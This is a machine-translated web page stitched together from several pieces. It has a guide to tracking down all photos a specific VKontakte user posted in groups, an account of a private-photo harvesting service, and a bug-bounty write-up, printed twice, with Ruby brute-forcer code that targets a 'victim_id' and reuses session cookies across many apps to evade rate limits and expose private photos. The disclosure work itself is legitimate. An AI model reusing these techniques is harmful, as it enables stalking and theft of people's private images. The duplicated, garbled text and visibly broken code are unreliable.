How to set up smartphones and PCs. Informational portal
  • home
  • Windows 7, XP
  • Private photo service VKontakte. Hidden features of VK.API or looking for private photos on VKontakte

Private photo service VKontakte. Hidden features of VK.API or looking for private photos on VKontakte

There are many publics on VKontakte, such as: 90-60-90, 40 KG, Sports girls. In these publics, users post photos of their figures, photos “before” and “after” diet / sports, and more. The total number of photos in the albums of these groups sometimes exceeds tens of thousands. When posting photos, many do not think about the consequences, naively believing that if you throw your photo in thousands of similar ones, then no one will find it. Under the cut, the process of searching for photos of a specific user in groups is described.

Formulation of the problem
  1. uid - VK user ID
  2. gid - VK group ID

Necessary:

  1. Find all photos posted by uid in the group gid
  2. Determine which album each photo is in
API VKontakte

Contact does not have a method to directly retrieve photos posted by a specific user in a specific group. However, you can achieve the desired result in the following way:
1. Get a list of albums using the photos.getAlbums method:

VK.api("photos.getAlbums", ( gid: gid ), function(result)( if (result.response)( // The list of albums is in the result.response array // The album ID is in the aid field )else( / / Failed to get list of albums ) ));

2. Get a list of photos in the album (aid) using the photos.get method:

VK.api("photos.get", ( gid: gid, aid: aid ), function(result)( if (result.response)( // The list of photos is in the result.response array // ID of the owner of the photo is contained in the field owner_id // ID of the photo is contained in the pid field )else( // Failed to get the list of photos in the album ) ));

3. Get the URL of the photo using the photos.getById method

VK.api("photos.getById", ( photos: pids ), function(result)( if(result.response)( for(var i=0; i

How to speed up the search?

Going through all the groups is a rather lengthy process and running it every time you search for a photo of a particular person is not advisable. To speed up the search, it is enough to index all the photos by adding an index to the internal table.
It is enough to contain 3 fields in the table:

  • uid - user ID
  • gid - group ID
  • pid - Photo ID

After indexing the groups, it is enough to execute the query

SELECT * FROM table WHERE uid = uid

Search photos of friends

Using the friends.get method, you can get a list of friends, and then search the database to get photos of friends:

VK.api("friends.get", ( user_id: uid ), function(result)( if(result.response)( // Next, we search for photos by friends ID ) ));

Links
  • Website for photo search: photovk.ru
  • VKontakte application for searching photos:

Huge collection of private photos in VK (about 100 million). The service collects photos of all social media users. networks into a single directory.

Finding photos of a particular user is easy - just enter it. And it is difficult to delete, if you write to the creators by e-mail, then the chance is low, and if you make donations, then the chance increases.

How does the stock depot collect photos in VK? Everything is very simple: the service automatically uploads photos of all users to the collection online. It doesn't matter where you post the photo, in a community or profile. Even if the photo is deleted after a couple of minutes, it will already be in the stock depot.

Therefore, many dissatisfied users turned to Roskomnadzor, which contributed to cattle depot was blocked on the territory of the Russian Federation. Bypass blocking is not possible.

The collection and storage of personal data of users is prohibited. Although users themselves upload photos to the public.

Presently site not working even with proxy servers. The owners abandoned the case immediately after the blocking. So you can sleep peacefully and not be afraid that someone will look at your personal photos.

Skotobaza analogues

In 2018 there were different analogues, such as "Burned", but they all do not work, since the developers of Vkontakte tweaked scripts that prohibit bots from stealing private photos.

Attention: the Internet is full of "analogues" of cattle depot, but not only do they not work, but they are the reason account hacking! If you stumble upon such sites, in no case do not enter data from Vkontakte. Attackers will gain access to the account and be able to.

The era of cattle depot and similar services has passed. Now the storage and distribution of intimate, private photographs is prohibited. If you don't follow the law, you will be punished.

tl;dr

A vulnerability was discovered in VK bookmarks, which made it possible to obtain direct links to private photos from personal messages, albums of any user/group. A script was written that sorted through the user's photos for a certain period and then, through this vulnerability, received direct links to the images. In short, it was possible to get all your yesterday's photos in 1 minute, all the photos uploaded last week in 7 minutes, last month in 20 minutes, last year in 2 hours. The vulnerability has now been fixed. The administration of VKontakte paid a reward of 10k votes.


The story began with an image sent to me in a personal message on VKontakte. Usually, if a thing is important, I upload it to the cloud, but in my case this was not necessary, and I decided to use the Vkontakte bookmarks function.

Briefly about this functionality: all things that the user likes are added to the bookmarks; there is also a function for manually adding a link to the user and the internal link "VKontakte". The last point seemed very interesting to me, because after adding a link to the photo, I saw its preview and text with the type of the added entity:

When a link is added, the server parses it, tries to find out what entity it refers to, and retrieves information about this object from the database. As a rule, when writing this kind of function with many conditions, the likelihood that the developer will forget something is very high. Therefore, I could not afford to pass by and decided to take a few minutes to experiment a little.

As a result, I managed to find something. When adding a link to a photo, note or video that is not accessible, it was possible to get some private information about the object. In the case of photos and videos, this is a small (150x150) preview, on which it is quite difficult to see anything, the title was displayed for private notes. Via API method fave.getLinks it was possible to get links to the image, but again too small (75px and 130px). So basically nothing serious.

I decided to go to the mobile version of the site to check if everything is displayed there in the same way as in the normal version. Looking at the code of the page, I saw this:

Yes! In attribute value data-src_big a direct link to the original image was stored!

Thus, it was possible to get a direct link to any image on Vkontakte, regardless of where it was uploaded and what privacy settings it had. It could be an image from private messages or a photo from private albums of any user/group.

It would seem that one could stop at this and write to the developers, but I wondered if it was possible, by exploiting this vulnerability, to gain access to all (well, or uploaded in a certain period of time) photos of the user. The main problem here, as you understand, was that the link to a private photo of the species is not always known. photoXXXXXX_XXXXXXX to bookmark. The idea of ​​sorting through the id of the photo came to my mind, but for some reason I immediately rejected it as crazy. I checked the methods associated with photos in the API, looked at how the application works with albums, but I could not find any leaks that could help me get a list with IDs of all the user's closed photos. I already wanted to quit this idea, but looking again at the link with the photo, I suddenly realized that it was a good idea.

How photos work in VK

How could you replace, link to photo photo52708106_359542386 consists of two parts: (user id)_(some strange number). How is the second part formed?

Alas, after spending two hours experimenting, I still did not understand this. In 2012, at HighLoad++, Oleg Illarionov said a few words about how they store photos, about horizontal sharding and random selection of a server for loading, but this information did not give me anything, since there is no connection between the server id and the photo id. It is clear that there is a certain global counter, but there is some other logic there ... Because if the second number were formed using the usual auto-increment, then the values ​​of the photo IDs would have reached huge values ​​long ago (for example, for Facebook, at the moment it is ~ 700 trillion), but for Vkontakte this value is only ~400 million (although, judging by the statistics, daily users upload more than 30 million photos). Those. it is clear that this figure is not unique, but it is not random either. I wrote a script that went through the photos of "old" users and, based on the data received, made a graph of how much this figure changed with each year:

It can be seen that the values ​​jump depending on some factors (number of servers or new logic?). But the bottom line is that they are quite small (especially for the last 2-3 years) and it is very easy to calculate the id range for the desired time period. That is, to find out direct links to a user's photos, for example, for the last year, you need to try to bookmark only 30 million (from _320000000 to _350000000) different link variations! Below I have described a brute-force technique that allowed me to do this in a matter of minutes.

Sorting through the photos

It was possible to add all this manually through the interface or write a script that adds one link to the bookmarks, but that would be boring and long. The search speed in this case would be 3 bookmarks per second, because send more than three requests per second to the Vkontakte server it is forbidden.

Speed ​​up search x25

In order to get around the 3-request limit a little, I decided to use the method execute. In one call to this method, 25 calls to API methods are possible.

Var start = parseInt(Args.start); varend = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Thus, it was possible to increase the speed of brute force up to 3 * 25 bookmarks / sec. Over the past year, the photos would have been sorted out for a long time, but for short periods this sorting method was already pretty good.

Speed ​​up iteration x25 * number of concurrent requests per second

The limit on the number of requests / sec applies to each application separately, and not to the entire user. So nothing prevents you from sending many requests in parallel, but at the same time using tokens from different applications in them.

To begin with, it was necessary to find (or create) the required number of applications. A script was written that looks for standalone applications in a given range of application IDs:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
It was also possible to select applications by the number of users in order to further speed up further enumeration:

But I decided not to bother with it.

Ok, the applications are found, now they need to give permission to our user data and receive tokens. For authorization, I had to use the Implicit Flow mechanism. I had to parse the authorization URL from the OAuth dialog and pull out the token after the redirect. Cookies are required for this class to work. p, l(login.vk.com) and remix-sid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
How many applications are found, so many parallel requests. To parallelize this whole thing, it was decided to use the Typhoeus gem, which has proven itself in other tasks. It turned out such a small bruteforcer:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "today" => 3663000000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360 "current000000"_0..305 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
To speed up brute force even more, there was an attempt to get rid of an unnecessary body in the response, but on HEAD request server "Vkontakte" returns an error 501 Not implemented.

The final version of the script looks like this:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookies from vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
After working out the program, all the user's photos for a given period were in the bookmarks. It only remained to go to the mobile version of Vkontakte, open the browser console, pull out direct links and enjoy the photos in their original size.

Results

In general, it all depends on your Internet connection and the speed of proxy servers, latency of Vkontakte servers, processor power and many other factors. Having tested the script above on my account, I got the following numbers (excluding the time spent on obtaining tokens):

The table shows the average time it takes to try photo ids over a given period. I'm sure all this could be accelerated by 10-20 times. For example, in a brute force script, make one large queue of all requests and normal synchronization between them, because in my implementation, one request with timeout will slow down the whole process. Anyway, you could just buy a couple of EC2 instances and get all the photos of any user in an hour. But I already wanted to sleep.

And in general, it doesn’t matter how much time the attacker spends on it, 5 hours or the whole day, because one way or another, he will get links to private images. The ability to ironically gain access to private information in a finite time is the main threat posed by this vulnerability.

Reporting a Vulnerability

At first, the report was sent to the support service, but after a response like “thanks, we’ll probably fix it somehow ...” and a week of waiting, something became sad for me. Thanks a lot for helping to contact the developers directly. After that, the bugs were closed within a few hours, and a few days later the administration transferred a reward of 10k to my account

tl;dr

A vulnerability was discovered in VK bookmarks, which made it possible to obtain direct links to private photos from personal messages, albums of any user/group. A script was written that sorted through the user's photos for a certain period and then, through this vulnerability, received direct links to the images. In short, it was possible to get all your yesterday's photos in 1 minute, all the photos uploaded last week in 7 minutes, last month in 20 minutes, last year in 2 hours. The vulnerability has now been fixed. The administration of VKontakte paid a reward of 10k votes.


The story began with an image sent to me in a personal message on VKontakte. Usually, if a thing is important, I upload it to the cloud, but in my case this was not necessary, and I decided to use the Vkontakte bookmarks function.

Briefly about this functionality: all things that the user likes are added to the bookmarks; there is also a function for manually adding a link to the user and the internal link "VKontakte". The last point seemed very interesting to me, because after adding a link to the photo, I saw its preview and text with the type of the added entity:

When a link is added, the server parses it, tries to find out what entity it refers to, and retrieves information about this object from the database. As a rule, when writing this kind of function with many conditions, the likelihood that the developer will forget something is very high. Therefore, I could not afford to pass by and decided to take a few minutes to experiment a little.

As a result, I managed to find something. When adding a link to a photo, note or video that is not accessible, it was possible to get some private information about the object. In the case of photos and videos, this is a small (150x150) preview, on which it is quite difficult to see anything, the title was displayed for private notes. Via API method fave.getLinks it was possible to get links to the image, but again too small (75px and 130px). So basically nothing serious.

I decided to go to the mobile version of the site to check if everything is displayed there in the same way as in the normal version. Looking at the code of the page, I saw this:

Yes! In attribute value data-src_big a direct link to the original image was stored!

Thus, it was possible to get a direct link to any image on Vkontakte, regardless of where it was uploaded and what privacy settings it had. It could be an image from private messages or a photo from private albums of any user/group.

It would seem that one could stop at this and write to the developers, but I wondered if it was possible, by exploiting this vulnerability, to gain access to all (well, or uploaded in a certain period of time) photos of the user. The main problem here, as you understand, was that the link to a private photo of the species is not always known. photoXXXXXX_XXXXXXX to bookmark. The idea of ​​sorting through the id of the photo came to my mind, but for some reason I immediately rejected it as crazy. I checked the methods associated with photos in the API, looked at how the application works with albums, but I could not find any leaks that could help me get a list with IDs of all the user's closed photos. I already wanted to quit this idea, but looking again at the link with the photo, I suddenly realized that it was a good idea.

How photos work in VK

How could you replace, link to photo photo52708106_359542386 consists of two parts: (user id)_(some strange number). How is the second part formed?

Alas, after spending two hours experimenting, I still did not understand this. In 2012, at HighLoad++, Oleg Illarionov said a few words about how they store photos, about horizontal sharding and random selection of a server for loading, but this information did not give me anything, since there is no connection between the server id and the photo id. It is clear that there is a certain global counter, but there is some other logic there ... Because if the second number were formed using the usual auto-increment, then the values ​​of the photo IDs would have reached huge values ​​long ago (for example, for Facebook, at the moment it is ~ 700 trillion), but for Vkontakte this value is only ~400 million (although, judging by the statistics, daily users upload more than 30 million photos). Those. it is clear that this figure is not unique, but it is not random either. I wrote a script that went through the photos of "old" users and, based on the data received, made a graph of how much this figure changed with each year:

It can be seen that the values ​​jump depending on some factors (number of servers or new logic?). But the bottom line is that they are quite small (especially for the last 2-3 years) and it is very easy to calculate the id range for the desired time period. That is, to find out direct links to a user's photos, for example, for the last year, you need to try to bookmark only 30 million (from _320000000 to _350000000) different link variations! Below I have described a brute-force technique that allowed me to do this in a matter of minutes.

Sorting through the photos

It was possible to add all this manually through the interface or write a script that adds one link to the bookmarks, but that would be boring and long. The search speed in this case would be 3 bookmarks per second, because send more than three requests per second to the Vkontakte server it is forbidden.

Speed ​​up search x25

In order to get around the 3-request limit a little, I decided to use the method execute. In one call to this method, 25 calls to API methods are possible.

Var start = parseInt(Args.start); varend = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Thus, it was possible to increase the speed of brute force up to 3 * 25 bookmarks / sec. Over the past year, the photos would have been sorted out for a long time, but for short periods this sorting method was already pretty good.

Speed ​​up iteration x25 * number of concurrent requests per second

The limit on the number of requests / sec applies to each application separately, and not to the entire user. So nothing prevents you from sending many requests in parallel, but at the same time using tokens from different applications in them.

To begin with, it was necessary to find (or create) the required number of applications. A script was written that looks for standalone applications in a given range of application IDs:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").read app = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
It was also possible to select applications by the number of users in order to further speed up further enumeration:

But I decided not to bother with it.

Ok, the applications are found, now they need to give permission to our user data and receive tokens. For authorization, I had to use the Implicit Flow mechanism. I had to parse the authorization URL from the OAuth dialog and pull out the token after the redirect. Cookies are required for this class to work. p, l(login.vk.com) and remix-sid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
How many applications are found, so many parallel requests. To parallelize this whole thing, it was decided to use the Typhoeus gem, which has proven itself in other tasks. It turned out such a small bruteforcer:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "today" => 3663000000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360 "current000000"_0..305 350000000..366500000, "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
To speed up brute force even more, there was an attempt to get rid of an unnecessary body in the response, but on HEAD request server "Vkontakte" returns an error 501 Not implemented.

The final version of the script looks like this:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookies from vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
After working out the program, all the user's photos for a given period were in the bookmarks. It only remained to go to the mobile version of Vkontakte, open the browser console, pull out direct links and enjoy the photos in their original size.

Results

In general, it all depends on your Internet connection and the speed of proxy servers, latency of Vkontakte servers, processor power and many other factors. Having tested the script above on my account, I got the following numbers (excluding the time spent on obtaining tokens):

The table shows the average time it takes to try photo ids over a given period. I'm sure all this could be accelerated by 10-20 times. For example, in a brute force script, make one large queue of all requests and normal synchronization between them, because in my implementation, one request with timeout will slow down the whole process. Anyway, you could just buy a couple of EC2 instances and get all the photos of any user in an hour. But I already wanted to sleep.

And in general, it doesn’t matter how much time the attacker spends on it, 5 hours or the whole day, because one way or another, he will get links to private images. The ability to ironically gain access to private information in a finite time is the main threat posed by this vulnerability.

Reporting a Vulnerability

At first, the report was sent to the support service, but after a response like “thanks, we’ll probably fix it somehow ...” and a week of waiting, something became sad for me. Many thanks to Bo0oM who helped to contact the developers directly. After that, the bugs were closed within a few hours, and a few days later the administration transferred a reward of 10k to my account

Top Related Articles